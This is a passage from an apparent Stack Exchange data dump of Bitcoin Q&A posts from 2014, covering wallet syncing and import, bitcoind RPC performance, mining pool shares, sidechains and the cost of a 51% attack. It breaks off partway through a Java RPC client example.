  <row Id="24962" PostTypeId="2" ParentId="24947" CreationDate="2014-04-28T23:44:35.540" Score="10" Body="&lt;p&gt;A while ago I created an extension for &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;noreferrer&quot;&gt;BitcoinLib&lt;/a&gt; in order to put bitcoind to the test. The setup was trivial: &lt;em&gt;call getnewaddress() in the main network for ever&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My performance index was the number of addresses generated per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took off on an average of 35 addresses/sec. I left it running on a VM for a whole month. The rounded results were:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Total empty receiving addresses    Generated addresses/sec &#xA; &amp;lt; 650,000                         35 &#xA; &amp;lt; 960,000                         32&#xA; &amp;lt; 1,240,000                       29&#xA; ...........                       ..&#xA; &amp;lt;  75,000,000                     28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The most noticeable slowdown was from 700,000 to 1,300,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restarting the test client from the 75,000,000 point didn't improve the newly generated addresses per second rate. Restarting the host didn't make any difference either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then sent 3 payments to that wallet and they showed up instantly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how it would affect the wallet if there were transactions linked to each of the 75 million receiving addresses but it would be really interesting to see. One thing also to be tested is whether or not there are delays during the daemon initialization when the wallet contains such a big number of addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone has a really fast spare machine I could share the testing code and we could get to the 100 million benchmark much faster than in a month. Freewil's &lt;a href=&quot;https://github.com/freewil/bitcoin-testnet-box&quot; rel=&quot;noreferrer&quot;&gt;testnet box&lt;/a&gt; could be useful for that test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, some related questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19567/does-the-original-bitcoin-client-scale-to-contain-millions-of-addresses/&quot;&gt;Does the original Bitcoin client scale to contain millions of addresses?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19331/how-to-handle-a-ridiculous-amount-of-receiving-addresses&quot;&gt;How to handle a ridiculous amount of receiving addresses?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-04-28T23:49:38.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24963" PostTypeId="2" ParentId="24961" CreationDate="2014-04-29T00:21:13.940" Score="3" Body="&lt;p&gt;For anyone else who's in the same situation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had some some fairly detailed discussions with some helpful folks on the #bitcoin-otc IRC channel and they gave me the scoop. To avoid getting hit with large transaction fees and/or revealing your name, SS#, routing numbers, etc., you really need to go over-the-counter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases that might mean doing the deal in person (localbitcoins.com) but a safer way is to use MoneyPak. It was described to me as follows: You buy a moneypack in whatever denomination you're interested in converting to BTC, and you provide the MP number to the seller. He, in turn, sends the coins. He can use that moneypack number to load his PayPal account and buy goods/services. The fee is $4.95 -- not unreasonable. And everything is anonymous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other point that was made crystal clear to me is that you can't just jump into the OTC community and start doing large volume transactions. The liquidity is there if you know where to look but the community has to trust you first. They even have a rating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was walked through the initial steps of reserving a name, creating a GPG key, binding that to my identity, etc. etc. and will probably execute a few small-sized moneyPak-based transactions ($10, $50, etc.) and see how it goes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope these comments will be of value to other new Bitcoin enthusiasts.&lt;/p&gt;&#xA;" OwnerUserId="15471" LastActivityDate="2014-04-29T00:21:13.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24964" PostTypeId="2" ParentId="24924" CreationDate="2014-04-29T02:25:29.543" Score="1" Body="&lt;p&gt;Most probably it means you submitted several &quot;shares&quot;, i.e. possible solutions, in that timeframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're mining for a pool, you don't solve blocks directly at the real coin's network difficulty but rather at a much lower one: the pool artificially lowers the difficulty before sending the packages to the miners so as to receive several distinct partial solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of these solutions will be adequate only at the lower difficulty but others will be OK for a higher difficulty as well, among these hopefully one will be OK for the then-current difficulty of the network - the pool will take it and submit it to the network to earn the block's reward, such reward will then be partitioned proportionately among the miners depending on how many partial solutions (&quot;shares&quot;) each submitted, thus their contribution to the final effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you were mining alone, remember the target block generation times are meant to be an &quot;average&quot;, in real life some blocks will be generated shortly one after the other or they may delay a lot, but in the long run the average is kept.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-04-29T02:25:29.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24965" PostTypeId="2" ParentId="24569" CreationDate="2014-04-29T03:42:38.973" Score="3" Body="&lt;p&gt;A side chain is a blockchain that runs parallel to the main bitcoin blockchain and can synchronize with it directly, allowing decentralized value transfer between the two chains. A user is able to essentially lock up a certain amount of coin on the main bitcoin block chain which then frees up an equivalent amount of coin on the side chain. This side chain may be either a sidechain compatible altcoin or just some test ground for new Bitcoin features. The coin that was transferred to the side chain can be returned back to the main bitcoin blockchain at any time. The value transferred back will be the same as the value transferred out.&lt;/p&gt;&#xA;" OwnerUserId="14233" LastActivityDate="2014-04-29T03:42:38.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24967" PostTypeId="1" CreationDate="2014-04-29T04:13:08.393" Score="1" ViewCount="571" Body="&lt;p&gt;My understanding of cryptocurrencies is that with the &quot;51% attack&quot; you can fake transactions and stop anybody from making any transactions. If any crypto currency actually threatens Government backed currencies then what would stop a company like the NSA from using their resources from attacking the currency? They have to have enough money and enough computing power if they are collecting all this data and are backed by the United States Government.&lt;/p&gt;&#xA;" OwnerUserId="15508" LastEditorUserId="5406" LastEditDate="2015-06-09T22:59:38.820" LastActivityDate="2015-06-09T22:59:38.820" Title="How can we trust any crypto currency if the NSA could use 51% attacks?" Tags="|security|majority-attack|" AnswerCount="1" CommentCount="8" ClosedDate="2014-05-20T23:25:07.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="24969" PostTypeId="2" ParentId="24959" CreationDate="2014-04-29T04:53:17.380" Score="1" Body="&lt;p&gt;Your system reports: Intel's new Iris Pro graphics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as ubuntu 13.10 was concerned the package cgminer was compiled for nvidia graphics cards and installed the module for ubuntu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider running a system with dedicated GPU w/ PCIe: e. g. nvidia and ATI and possibly compile cgminer by yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried bfgminer for ubuntu now, see here: &lt;a href=&quot;http://jarco.be/install-bfgminer-ubuntu-mint/&quot; rel=&quot;nofollow&quot;&gt;http://jarco.be/install-bfgminer-ubuntu-mint/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but cannot get it to work for litecoin scrypt right now...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOW up and running bfgminer compiled for ubuntu 14.04 with howto from here:&#xA;&lt;a href=&quot;https://debianhelp.wordpress.com/2012/01/02/bitcoin-mining-in-ubuntu-with-bfgminer/&quot; rel=&quot;nofollow&quot;&gt;https://debianhelp.wordpress.com/2012/01/02/bitcoin-mining-in-ubuntu-with-bfgminer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with some minor changes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;installed &quot;bitcoin-qt&quot; instead of &quot;bitcoin&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo apt-get install uthash-dev&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;./autogen.sh &amp;amp;&amp;amp; ./configure --enable-scrypt --enable-opencl &amp;amp;&amp;amp; make&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;modified &quot;.bfgminer/bfgminer.conf&quot; can be pasted here, if you want&#xA;-&gt; 880kh/s @ ATI Radeon R9 290X&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15510" LastEditorUserId="15510" LastEditDate="2014-05-01T18:44:28.637" LastActivityDate="2014-05-01T18:44:28.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24970" PostTypeId="1" CreationDate="2014-04-29T05:59:00.230" Score="0" ViewCount="527" Body="&lt;p&gt;Most of the crypto currency exchanges use cold storage for depositing bitcoins.&lt;br&gt;&#xA;I was wondering if they maintain a cold storage for individual user or if they have one large cold storage for all users? does it provide benefit for storing offline wallets for individual users for a crypto currency exchange?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14151" LastActivityDate="2018-12-06T07:54:31.870" Title="crypto currency exchange and cold storage" Tags="|btce|coldstorage|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24971" PostTypeId="1" AcceptedAnswerId="24973" CreationDate="2014-04-29T07:01:16.693" Score="1" ViewCount="2041" Body="&lt;p&gt;I recently converted from Chakra Linux to Opensuse 13.1 without formatting the home partition (I took a chance) and didn't have to do the usual reloading of email, documents and bitcoin started working straight away after I installed it from opensuse repo. Chakra installation had bitcoin-qt 0.8.6 and opensuse loaded bitcoin-qt 0.9.1. So, basically, it found the files in the home partition and seemed to carry on from there. I do have a backup from before the conversion. Bitcoin 0.9.1 did add a quite a few blocks before the error. So, maybe it wasn't the transition to opensuse that did it.&lt;/p&gt;&#xA;&lt;p&gt;Now the wallet is six days behind. Here is quote from debug.log. It is 'catching up' from block 297123.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;2014-04-23 20:59:35 ProcessBlock: ACCEPTED&#xA;2014-04-23 20:59:45 UpdateTip: new &amp;gt;best=000000000000000087be011f611f80fd4d3d917780a27850fb878512f492f828  &amp;gt;height=297123  log2_work=78.143683  tx=37308919  date=2014-04-22 09:43:51 &amp;gt;progress=0.993196&#xA;2014-04-23 20:59:45 ProcessBlock: ACCEPTED&#xA;2014-04-23 20:59:56 ERROR: CScriptCheck() : &amp;gt;447f1be22db9cca6b7539a66b54f99ea11c1c0316a72915d34d8a1c86d00ebcf &amp;gt;VerifySignature failed&#xA;2014-04-23 21:00:03 EnvShutdown exception: Invalid argument (22)&lt;/p&gt;&#xA;&lt;p&gt;2014-04-23 21:21:02 CheckForkWarningConditions: Warning: Large valid fork found&#xA;forking the chain at height 297123 &amp;gt;(000000000000000087be011f611f80fd4d3d917780a27850fb878512f492f828)&#xA;lasting to height 297131 &amp;gt;(00000000000000004866bff18fa3e4378486920d6b9dc7f332f9f0bc18bd247e).&#xA;Chain state database corruption likely.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Any suggestions on how I should proceed?&lt;/p&gt;&#xA;" OwnerUserId="15511" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-29T10:23:20.507" Title="Bitcoin stuck, not syncing" Tags="|bitcoin-core|error|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24973" PostTypeId="2" ParentId="24971" CreationDate="2014-04-29T10:23:20.507" Score="6" Body="&lt;p&gt;A signature check failed for a valid transaction. This likely indicates a CPU or RAM problem with the system you're running on (even though you don't see regular errors in normal operation, Bitcoin does so many computations during validation that it's likely to see them more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of this is that bitcoind marked the chain this transaction was in as invalid, and rejects new blocks in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rebuild your database, you can start the client with the &lt;code&gt;-reindex&lt;/code&gt; flag (if you exit while rebuilding, it will pick up where it was stopped on the next run).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One workaround that helps in some cases is running with &lt;code&gt;-par=1&lt;/code&gt;, making validation only run in one thread. This seems to reduce the load enough to make some CPUs not cause errors anymore.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-04-29T10:23:20.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24974" PostTypeId="1" AcceptedAnswerId="24980" CreationDate="2014-04-29T12:43:43.290" Score="6" ViewCount="1480" Body="&lt;p&gt;I am data mining the blockchain using JSON/RPC on a bitcoind full node with txindex (0.9.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 64 RPC connections simultaneously going to bitcoind from a remote client. My workload is mostly getrawtransaction and decoderawtransaction. I have bumped rpcthreads to 64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am observing though is that bitcoind is taking a very large amount of time (from 30 seconds to 2-3 minutes) to respond to each call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have verified that there are about 66 connections opened on the RPC port, and the bitcoind process has 73 threads, so that seems to confirm that both my load and the rpcthreads setting are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I query something like &quot;help&quot;, I get the same slow response time, so it seems to be related to the RPC server rather than actually accessing the data from disk/memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing a setting to make it scale?&lt;/p&gt;&#xA;" OwnerUserId="2716" LastEditorUserId="2716" LastEditDate="2014-04-29T12:54:16.663" LastActivityDate="2014-04-29T18:10:16.190" Title="Bitcoind JSON/RPC extremely slow under load" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24975" PostTypeId="2" ParentId="17507" CreationDate="2014-04-29T13:20:16.923" Score="-1" Body="&lt;p&gt;Bitcoin Wallet is installing block chain from Bitcoin Network. This takes time , you should wait for it. If it takes long time than follow these steps -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update your wallet&lt;/li&gt;&#xA;&lt;li&gt;just transfer your balance to newly installed bitcoin wallet. and delete this one.For new wallet you should install block chain from bitcoin network.&#xA;Check your internet connection also &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15518" LastActivityDate="2014-04-29T13:20:16.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24978" PostTypeId="1" CreationDate="2014-04-29T17:19:00.507" Score="1" ViewCount="15943" Body="&lt;p&gt;I had 2 Bitcoins on my old PC and got a virus so did a format.&#xA;But I also did a backup of my bitcoin wallet.&#xA;Now I want to sell these bitcoins but when I went to the site, the official client was different and very heavy. And the site was showing as first option Multibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I got Multibit. But I couldn't import the old .dat wallet.&#xA;Am I missing something? Is there any way to convert the wallet for Multibit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this safe? &#xA;&lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/import-wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10445" LastActivityDate="2015-03-26T02:15:51.183" Title="How to import old wallet to Multibit?" Tags="|wallet|bitcoin-core|multibit|wallet.dat|wallet-recovery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24980" PostTypeId="2" ParentId="24974" CreationDate="2014-04-29T18:10:16.190" Score="5" Body="&lt;p&gt;Bitcoind can be quite memory hungry and bandwidth hungry. If you're swapping a lot, definitely add more memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also consider using an external API like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/#blockchain-api&quot; rel=&quot;noreferrer&quot;&gt;http://dev.blockcypher.com/#blockchain-api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind itself is actually quite hard to scale out.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-04-29T18:10:16.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24981" PostTypeId="2" ParentId="24967" CreationDate="2014-04-29T18:30:47.953" Score="3" Body="&lt;p&gt;As mentioned in comments, the 51% attack doesn't let you fake transactions. You just take control of what gets in the blockchain from the moment the attack is realized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to realizing the attack, the current Bitcoin hashing power is about 60,000TH/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the more efficient mining rigs cost at least $2,000/TH/s. So just getting all that mining power would cost the NSA, or any similarly powerful actor, about $120M. That's assuming that so many miners can actually be sourced which is highly doubtful at the current production volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'd have to factor in all the procurement, the time it takes to setup operations of that scale and the mind-boggling electricity bill. So it's probably a 2-3 years project with a half-billion dollars price attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then what would be the NSA's motive? The dollar is doing just fine right now and the US government can control Bitcoin just as well is they want to do so.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-04-29T18:30:47.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24982" PostTypeId="2" ParentId="24978" CreationDate="2014-04-29T19:08:25.090" Score="0" Body="&lt;p&gt;What error did you get from Multibit? If its an error regarding to the file its maybe corrupted. I am not sure if you can import a .dat. I know for sure that a .wallet and .key will work, but not a .dat. Can you look inside with a text editor, and see whats in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway the link you posted is as safe as it can be, so you can try that one. You can also try to import another file, like the .key or the .wallet if you still have those. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-04-29T19:08:25.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24983" PostTypeId="2" ParentId="24978" CreationDate="2014-04-29T19:18:08.757" Score="1" Body="&lt;p&gt;Yes, blockchain.info's wallet import is safe. It &lt;a href=&quot;https://blockchain.info/wallet/wallet-faq&quot; rel=&quot;nofollow noreferrer&quot;&gt;encrypts things&lt;/a&gt; in such a way that not even blockchain.info can access your private keys. You can make transfers from there (it's a sort of online wallet), so you don't even necessarily need to transfer them to MultiBit before wanting to sell them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote a &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5328/12034&quot;&gt;previous answer&lt;/a&gt; with instructions on importing and then exporting to MultiBit:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Visit &lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/wallet/import-wallet&lt;/a&gt;. Drag the Bitcoin-Qt wallet.dat file into the dotted area. Follow the&#xA;  instructions.&lt;/li&gt;&#xA;  &lt;li&gt;Login to the new wallet. Under the Backup heading click download.&lt;/li&gt;&#xA;  &lt;li&gt;Open multibit choose Tools -&gt; Import Private Keys. Now import the wallet.aes.json file just downloaded.&lt;/li&gt;&#xA;  &lt;li&gt;Delete the keys from the blockchain.info wallet.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you don't trust blockchain.info (despite their claims), you could extract the data entirely offline using &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;pywallet&lt;/a&gt; and then import it into MultiBit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be possible to dump the private keys from the official client without downloading the whole blockchain (which is the &quot;very heavy&quot; part of it). See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5324/how-do-i-import-private-keys-from-bitcoin-qt-to-multibit-client&quot;&gt;How do I import private keys from Bitcoin-qt to Multibit client?&lt;/a&gt; for help with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have access to your bitcoins again and want to sell them, you could sell them on &lt;a href=&quot;https://localbitcoins.com/country/GR&quot; rel=&quot;nofollow noreferrer&quot;&gt;LocalBitcoins&lt;/a&gt;. In the US, I can also recommend &lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinbase&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-04-29T19:59:51.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24985" PostTypeId="2" ParentId="194" CreationDate="2014-04-29T21:44:31.107" Score="0" Body="&lt;p&gt;If a service like &lt;a href=&quot;http://www.bitundo.com/&quot; rel=&quot;nofollow&quot;&gt;BitUndo&lt;/a&gt; can get enough miners supporting it, it could have a chance (probably not a large one, but some chance) of undoing transactions if you submit your undo request within minutes of the original transaction. This works because if they are able to successfully mine the next block, they can choose to exclude the original transaction and include their refund transaction instead.&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2014-04-29T21:44:31.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24986" PostTypeId="2" ParentId="23505" CreationDate="2014-04-29T22:07:55.717" Score="1" Body="&lt;p&gt;To start doing some cool things with this project I suggest you to check out the&#xA;&lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe/blob/master/README-MYSQL.txt&quot; rel=&quot;nofollow&quot;&gt;README-MYSQL.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing all the proper requisites, modify your &lt;code&gt;abe-my.conf&lt;/code&gt; to your server settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in step #7 it says initial data load. Witch, should take a couple of DAYS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After those steps you can start your web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Greg said, FastCGI is cool option as well. Though, I believe that it is more directed towards python developers. If you are a php guy like me, I would just make my custom applications connect directly to the MySQL database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love to use FastCGI so that I can commit some cool scripts on this project. But, as I am a PHP developer, I rather make the use of Abe as a separate program that interacts with the db and having my APP to deal with that info.&lt;/p&gt;&#xA;" OwnerUserId="14807" LastActivityDate="2014-04-29T22:07:55.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24987" PostTypeId="1" CreationDate="2014-04-29T22:22:13.390" Score="1" ViewCount="145" Body="&lt;p&gt;I have been reading about Bitcoin and the history of it. But I was not able to find a term that actually describes Bitcoin. &lt;br&gt;&#xA;I am looking for a term that is not only for Bitcoin but any digital currency like Bitcoin. &lt;br&gt;&#xA;The closest term I could find was Fiat money, but it is not correct, anyone here knows what the correct term is? Or does the term simply not exist yet?&lt;/p&gt;&#xA;" OwnerUserId="15527" LastEditorUserId="5406" LastEditDate="2017-02-15T12:37:46.137" LastActivityDate="2017-02-15T12:37:46.137" Title="The correct term for Bitcoin currency" Tags="|currencies|terminology|history|politics|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24988" PostTypeId="2" ParentId="24987" CreationDate="2014-04-29T22:32:53.863" Score="2" Body="&lt;p&gt;The general term in widespread use today is &lt;em&gt;cryptocurrency&lt;/em&gt;. This refers to a currency designed upon cryptographic principles (as Bitcoin is).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The term &quot;fiat money&quot; refers to the usual money issued by governments. The government declares &quot;this is money&quot; (even though the paper on which it is printed does not have value itself), and people use it as such. Wiktionary defines &lt;a href=&quot;https://en.wiktionary.org/wiki/fiat&quot; rel=&quot;nofollow&quot;&gt;fiat&lt;/a&gt; as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;An authoritative command or order to do something; an effectual decree.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-04-29T22:32:53.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24989" PostTypeId="2" ParentId="24957" CreationDate="2014-04-29T22:33:49.023" Score="1" Body="&lt;p&gt;Mining a block (also called confirming) is not dependent upon the number of transactions in the block. A block with a single transaction is just as hard to mine as one with 1,500 and earns you the same reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the reward, miners can claim a fee, which practically is the difference between the sum of the inputs and the sum of the outputs. The rule to compute whether a fee is required can be a &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Technical_info&quot; rel=&quot;nofollow&quot;&gt;little complicated&lt;/a&gt;. The person issuing the transaction is free to include a fee or not but a transaction that doesn't may not get confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the mechanism by which reward and fees are claimed is by inserting a transaction in the block, in the first position, that sends the total amount to the miner's public address. The network validates it with all the rest.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-04-29T22:33:49.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24990" PostTypeId="2" ParentId="24933" CreationDate="2014-04-29T22:47:00.107" Score="0" Body="&lt;p&gt;The underlying mechanism is to generate an address specifically for one payment. The address space for Bitcoin is mind-boggingly large (almost any 256 bits number is an address) so that's not an issue. That address is monitored for a payment and once the payment is received, automatically transferred to the merchant's final address (or payment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to software, it's a bit all over the map. You can either use something that will make the whole process transparent (like &lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt; or &lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt;) or use lower-level APIs interacting with the BlockChain like &lt;a href=&quot;http://www.blockcypher.com/&quot; rel=&quot;nofollow&quot;&gt;BlockCypher&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-04-29T22:47:00.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24991" PostTypeId="1" CreationDate="2014-04-29T23:32:25.570" Score="5" ViewCount="5204" Body="&lt;p&gt;I was using the official Bitcoin client some time ago.&#xA;It was version 0.5 I think. Then my computer crashed and didn't use Bitcoin for a long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was lucky because I had a backup of the wallet.&#xA;Today, I installed the latest version and it's different.&#xA;It is running for many hours now but it's still at 18-20 %.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I leave it as it is or I can turn off my PC and continue tomorrow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use my old wallet, will it start from the begining?&#xA;If yes, is it better to stop the software, &#xA;delete everything, replace wallet and start all over again?&lt;/p&gt;&#xA;" OwnerUserId="10445" LastEditorUserId="5406" LastEditDate="2015-08-10T15:03:51.607" LastActivityDate="2015-08-10T15:03:51.607" Title="Can synchronization be interrupted and continued later?" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24992" PostTypeId="1" CreationDate="2014-04-29T23:47:13.680" Score="-1" ViewCount="2166" Body="&lt;p&gt;Can someone smarter than me please give me step-by-step instructions on how to make money taking advantage of the disproportional BTC values across exchanges? I think using ripple could make the turnaround time faster but I'm not sure. &lt;/p&gt;&#xA;" OwnerUserId="15528" LastActivityDate="2014-04-30T12:33:05.123" Title="Bitcoin arbitrage using ripple" Tags="|bitcoind|ripple|arbitrage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24993" PostTypeId="2" ParentId="24991" CreationDate="2014-04-29T23:53:10.587" Score="2" Body="&lt;p&gt;It takes a long time (maybe a couple of days) to download the entire blockchain. You can interrupt it at any time and it will continue where it left off when you restart the Bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain (which is the public transaction ledger) is independent from your wallet (which is your private keys). You can load your old wallet into the Bitcoin client at any time.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-04-29T23:53:10.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24996" PostTypeId="1" CreationDate="2014-04-30T00:31:50.123" Score="0" ViewCount="957" Body="&lt;p&gt;I am using Ubuntu Server 12.04. My *.conf file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;# Enable RPC&#xA;server=1&#xA;&#xA;# Uncomment to allow localhost to use RPC&#xA;rpcallowip=127.0.0.1&#xA;&#xA;# RPC information&#xA;# THIS MUST BE CHANGED FOR YOUR SECURITY&#xA;rpcuser=username&#xA;rpcpassword=passssssssss_new&#xA;&#xA;# Mining is initially disabled&#xA;# gen=0&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Java RPCClient that I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import java.io.IOException;&#xA;import java.util.Arrays;&#xA;import java.util.List;&#xA;import java.util.UUID;&#xA;&#xA;import org.apache.http.HttpEntity;&#xA;import org.apache.http.HttpResponse;&#xA;import org.apache.http.ParseException;&#xA;import org.apache.http.auth.AuthScope;&#xA;import org.apache.http.auth.UsernamePasswordCredentials;&#xA;import 